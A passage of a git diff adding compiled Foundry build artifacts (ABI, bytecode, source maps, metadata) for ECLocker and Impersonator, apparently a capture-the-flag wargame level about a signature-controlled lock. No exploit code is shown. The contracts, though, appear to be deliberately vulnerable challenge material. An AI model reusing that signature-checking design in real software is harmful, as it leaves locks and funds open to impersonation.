32\",\"name\":\"s\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"newController\",\"type\":\"address\"}],\"name\":\"changeController\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"controller\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"lockId\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"msgHash\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"open\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"usedSignatures\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"changeController(uint8,bytes32,bytes32,address)\":{\"details\":\"Updates the controller storage variableEmits ControllerChanged event\",\"params\":{\"newController\":\"the new controller address\",\"r\":\"the r value of the signature\",\"s\":\"the s value of the signature\",\"v\":\"the recovery id\"}},\"constructor\":{\"params\":{\"_lockId\":\"uinique lock id set by SlockDotIt's factory\",\"_signature\":\"the signature of the initial controller\"}},\"open(uint8,bytes32,bytes32)\":{\"details\":\"Emits Open event\",\"params\":{\"r\":\"the r value of the signature\",\"s\":\"the s value of the signature\",\"v\":\"the recovery id\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"changeController(uint8,bytes32,bytes32,address)\":{\"notice\":\"Changes the controller of the lock\"},\"constructor\":{\"notice\":\"Initializes the contract the lock\"},\"open(uint8,bytes32,bytes32)\":{\"notice\":\"Opens the lock\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Impersonator.sol\":\"ECLocker\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Impersonator.sol\":{\"keccak256\":\"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74\",\"dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"_lockId","type":"uint256"},{"internalType":"bytes","name":"_signature","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"type":"error","name":"InvalidController"},{"inputs":[],"type":"error","name":"SignatureAlreadyUsed"},{"inputs":[{"internalType":"address","name":"newController","type":"address","indexed":true},{"internalType":"uint256","name":"timestamp","type":"uint256","indexed":false}],"type":"event","name":"ControllerChanged","anonymous":false},{"inputs":[{"internalType":"address","name":"initialController","type":"address","indexed":true},{"internalType":"uint256","name":"timestamp","type":"uint256","indexed":false}],"type":"event","name":"LockInitializated","anonymous":false},{"inputs":[{"internalType":"address","name":"opener","type":"address","indexed":true},{"internalType":"uint256","name":"timestamp","type":"uint256","indexed":false}],"type":"event","name":"Open","anonymous":false},{"inputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"},{"internalType":"address","name":"newController","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"changeController"},{"inputs":[],"stateMutability":"view","type":"function","name":"controller","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"lockId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"msgHash","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]},{"inputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"open"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function","name":"usedSignatures","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"changeController(uint8,bytes32,bytes32,address)":{"details":"Updates the controller storage variableEmits ControllerChanged event","params":{"newController":"the new controller address","r":"the r value of the signature","s":"the s value of the signature","v":"the recovery id"}},"constructor":{"params":{"_lockId":"uinique lock id set by SlockDotIt's factory","_signature":"the signature of the initial controller"}},"open(uint8,bytes32,bytes32)":{"details":"Emits Open event","params":{"r":"the r value of the signature","s":"the s value of the signature","v":"the recovery id"}}},"version":1},"userdoc":{"kind":"user","methods":{"changeController(uint8,bytes32,bytes32,address)":{"notice":"Changes the controller of the lock"},"constructor":{"notice":"Initializes the contract the lock"},"open(uint8,bytes32,bytes32)":{"notice":"Opens the lock"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Impersonator.sol":"ECLocker"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Impersonator.sol":{"keccak256":"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c","urls":["bzz-raw://5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74","dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex"],"license":"MIT"}},"version":1},"id":2}
\ No newline at end of file
diff --git a/contracts/out/Impersonator.sol/Impersonator.json b/contracts/out/Impersonator.sol/Impersonator.json
new file mode 100644
index 000000000..fdaada5e4
--- /dev/null
+++ b/contracts/out/Impersonator.sol/Impersonator.json
@@ -0,0 +1 @@
+{"abi":[{"type":"constructor","inputs":[{"name":"_lockCounter","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"deployNewLock","inputs":[{"name":"signature","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"lockCounter","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"lockers","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"contract ECLocker"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"NewLock","inputs":[{"name":"lockAddress","type":"address","indexed":true,"internalType":"address"},{"name":"lockId","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"timestamp","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"signature","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x6080604052348015600e575f5ffd5b50604051610cf7380380610cf7833981016040819052602b916088565b6032336039565b600155609e565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156097575f5ffd5b5051919050565b610c4c806100ab5f395ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f5ffd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f5ffd5b61008661008136600461038f565b6100fa565b005b6100866101e9565b6100a361009e366004610442565b6101fc565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610459565b610224565b6101026102b9565b5f60015f815461011190610486565b919050819055826040516101249061036e565b61012f9291906104ed565b604051809103905ff080158015610148573d5f5f3e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155905460405192935090917fac736e2e9adaa5052dee435c356ab8fe44ca4c16de5337e6b528e771ac85e97b916101dd914290879061050d565b60405180910390a25050565b6101f16102b9565b6101fa5f610312565b565b6002818154811061020b575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022c6102b9565b6001600160a01b0381166102ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b681610312565b50565b5f546001600160a01b031633146101fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a4565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106e28061053583390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039f575f5ffd5b813567ffffffffffffffff8111156103b5575f5ffd5b8201601f810184136103c5575f5ffd5b803567ffffffffffffffff8111156103df576103df61037b565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040e5761040e61037b565b604052818152828201602001861015610425575f5ffd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610452575f5ffd5b5035919050565b5f60208284031215610469575f5ffd5b81356001600160a01b038116811461047f575f5ffd5b9392505050565b5f600182016104a357634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f81518084525f5b818110156104ce576020818501810151868301820152016104b2565b505f602082860101526020601f19601f83011685010191505092915050565b828152604060208201525f61050560408301846104aa565b949350505050565b838152826020820152606060408201525f61052b60608301846104aa565b9594505050505056fe60c060405234801561000f575f5ffd5b506040516106e23803806106e283398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f5f60408385031215610153575f5ffd5b825160208401519092506001600160401b03811115610170575f5ffd5b8301601f81018513610180575f5ffd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f5ffd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104aa6102385f395f818160da015261023101525f60a001526104aa5ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033a26469706673582212205fec4d7166dc4e9766012e60dd54a37fef9687aac9dd51eab25961700e2843b464736f6c634300081c0033","sourceMap":"145:568:2:-:0;;;349:77;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;936:32:0;719:10:1;936:18:0;:32::i;:::-;393:11:2;:26;145:568;;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;-1:-1:-1;;;;;;2541:17:0;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;14:184:3:-;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;-1:-1:-1;176:16:3;;14:184;-1:-1:-1;14:184:3:o;:::-;145:568:2;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f5ffd5b506004361061006f575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100c05780638db564c2146100d0578063f2fde38b146100e7575f5ffd5b806361a423b114610073578063715018a614610088578063809aab9214610090575b5f5ffd5b61008661008136600461038f565b6100fa565b005b6100866101e9565b6100a361009e366004610442565b6101fc565b6040516001600160a01b0390911681526020015b60405180910390f35b5f546001600160a01b03166100a3565b6100d960015481565b6040519081526020016100b7565b6100866100f5366004610459565b610224565b6101026102b9565b5f60015f815461011190610486565b919050819055826040516101249061036e565b61012f9291906104ed565b604051809103905ff080158015610148573d5f5f3e3d5ffd5b5060028054600180820183555f929092527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038416908117909155905460405192935090917fac736e2e9adaa5052dee435c356ab8fe44ca4c16de5337e6b528e771ac85e97b916101dd914290879061050d565b60405180910390a25050565b6101f16102b9565b6101fa5f610312565b565b6002818154811061020b575f80fd5b5f918252602090912001546001600160a01b0316905081565b61022c6102b9565b6001600160a01b0381166102ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b681610312565b50565b5f546001600160a01b031633146101fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102a4565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106e28061053583390190565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561039f575f5ffd5b813567ffffffffffffffff8111156103b5575f5ffd5b8201601f810184136103c5575f5ffd5b803567ffffffffffffffff8111156103df576103df61037b565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561040e5761040e61037b565b604052818152828201602001861015610425575f5ffd5b816020840160208301375f91810160200191909152949350505050565b5f60208284031215610452575f5ffd5b5035919050565b5f60208284031215610469575f5ffd5b81356001600160a01b038116811461047f575f5ffd5b9392505050565b5f600182016104a357634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f81518084525f5b818110156104ce576020818501810151868301820152016104b2565b505f602082860101526020601f19601f83011685010191505092915050565b828152604060208201525f61050560408301846104aa565b949350505050565b838152826020820152606060408201525f61052b60608301846104aa565b9594505050505056fe60c060405234801561000f575f5ffd5b506040516106e23803806106e283398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f5f60408385031215610153575f5ffd5b825160208401519092506001600160401b03811115610170575f5ffd5b8301601f81018513610180575f5ffd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f5ffd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104aa6102385f395f818160da015261023101525f60a001526104aa5ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033a26469706673582212205fec4d7166dc4e9766012e60dd54a37fef9687aac9dd51eab25961700e2843b464736f6c634300081c0033","sourceMap":"145:568:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;432:279;;;;;;:::i;:::-;;:::i;:::-;;1831:101:0;;;:::i;216:25:2:-;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;1517:55:3;;;1499:74;;1487:2;1472:18;216:25:2;;;;;;;;1201:85:0;1247:7;1273:6;-1:-1:-1;;;;;1273:6:0;1201:85;;184:26:2;;;;;;;;;1961:25:3;;;1949:2;1934:18;184:26:2;1815:177:3;2081:198:0;;;;;;:::i;:::-;;:::i;432:279:2:-;1094:13:0;:11;:13::i;:::-;535:16:2::1;569:11;;567:13;;;;;:::i;:::-;;;;;;;582:9;554:38;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;602:7:2::1;:21:::0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;602:21:2;;;;;::::1;::::0;;-1:-1:-1;;602:21:2::1;-1:-1:-1::0;;;;;602:21:2;::::1;::::0;;::::1;::::0;;;664:11;;638:66:::1;::::0;602:21;;-1:-1:-1;602:21:2;;638:66:::1;::::0;::::1;::::0;677:15:::1;::::0;694:9;;638:66:::1;:::i;:::-;;;;;;;;496:215;432:279:::0;:::o;1831:101:0:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;216:25:2:-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;216:25:2;;-1:-1:-1;216:25:2;:::o;2081:198:0:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:0;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:0;;3868:2:3;2161:73:0::1;::::0;::::1;3850:21:3::0;3907:2;3887:18;;;3880:30;3946:34;3926:18;;;3919:62;4017:8;3997:18;;;3990:36;4043:19;;2161:73:0::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:0;719:10:1;1422:23:0;1414:68;;;;-1:-1:-1;;;1414:68:0;;4275:2:3;1414:68:0;;;4257:21:3;;;4294:18;;;4287:30;4353:34;4333:18;;;4326:62;4405:18;;1414:68:0;4073:356:3;2433:187:0;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:0;;;-1:-1:-1;;2541:17:0;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:184:3:-;-1:-1:-1;;;63:1:3;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:944;271:6;324:2;312:9;303:7;299:23;295:32;292:52;;;340:1;337;330:12;292:52;380:9;367:23;413:18;405:6;402:30;399:50;;;445:1;442;435:12;399:50;468:22;;521:4;513:13;;509:27;-1:-1:-1;499:55:3;;550:1;547;540:12;499:55;590:2;577:16;616:18;608:6;605:30;602:56;;;638:18;;:::i;:::-;687:2;681:9;779:2;741:17;;-1:-1:-1;;737:31:3;;;770:2;733:40;729:54;717:67;;814:18;799:34;;835:22;;;796:62;793:88;;;861:18;;:::i;:::-;897:2;890:22;921;;;962:15;;;979:2;958:24;955:37;-1:-1:-1;952:57:3;;;1005:1;1002;995:12;952:57;1061:6;1056:2;1052;1048:11;1043:2;1035:6;1031:15;1018:50;1114:1;1088:19;;;1109:2;1084:28;1077:39;;;;1092:6;203:944;-1:-1:-1;;;;203:944:3:o;1152:180::-;1211:6;1264:2;1252:9;1243:7;1239:23;1235:32;1232:52;;;1280:1;1277;1270:12;1232:52;-1:-1:-1;1303:23:3;;1152:180;-1:-1:-1;1152:180:3:o;1997:309::-;2056:6;2109:2;2097:9;2088:7;2084:23;2080:32;2077:52;;;2125:1;2122;2115:12;2077:52;2164:9;2151:23;-1:-1:-1;;;;;2207:5:3;2203:54;2196:5;2193:65;2183:93;;2272:1;2269;2262:12;2183:93;2295:5;1997:309;-1:-1:-1;;;1997:309:3:o;2311:289::-;2350:3;2371:17;;;2368:197;;-1:-1:-1;;;2418:1:3;2411:88;2522:4;2519:1;2512:15;2550:4;2547:1;2540:15;2368:197;-1:-1:-1;2592:1:3;2581:13;;2311:289::o;2605:399::-;2646:3;2684:5;2678:12;2711:6;2706:3;2699:19;2736:1;2746:139;2760:6;2757:1;2754:13;2746:139;;;2868:4;2853:13;;;2849:24;;2843:31;2823:11;;;2819:22;;2812:63;2775:12;2746:139;;;2750:3;2930:1;2923:4;2914:6;2909:3;2905:16;2901:27;2894:38;2993:4;2986:2;2982:7;2977:2;2969:6;2965:15;2961:29;2956:3;2952:39;2948:50;2941:57;;;2605:399;;;;:::o;3009:288::-;3184:6;3173:9;3166:25;3227:2;3222;3211:9;3207:18;3200:30;3147:4;3247:44;3287:2;3276:9;3272:18;3264:6;3247:44;:::i;:::-;3239:52;3009:288;-1:-1:-1;;;;3009:288:3:o;3302:359::-;3505:6;3494:9;3487:25;3548:6;3543:2;3532:9;3528:18;3521:34;3591:2;3586;3575:9;3571:18;3564:30;3468:4;3611:44;3651:2;3640:9;3636:18;3628:6;3611:44;:::i;:::-;3603:52;3302:359;-1:-1:-1;;;;;3302:359:3:o","linkReferences":{}},"methodIdentifiers":{"deployNewLock(bytes)":"61a423b1","lockCounter()":"8db564c2","lockers(uint256)":"809aab92","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_lockCounter\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"lockAddress\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"lockId\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"signature\",\"type\":\"bytes\"}],\"name\":\"NewLock\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed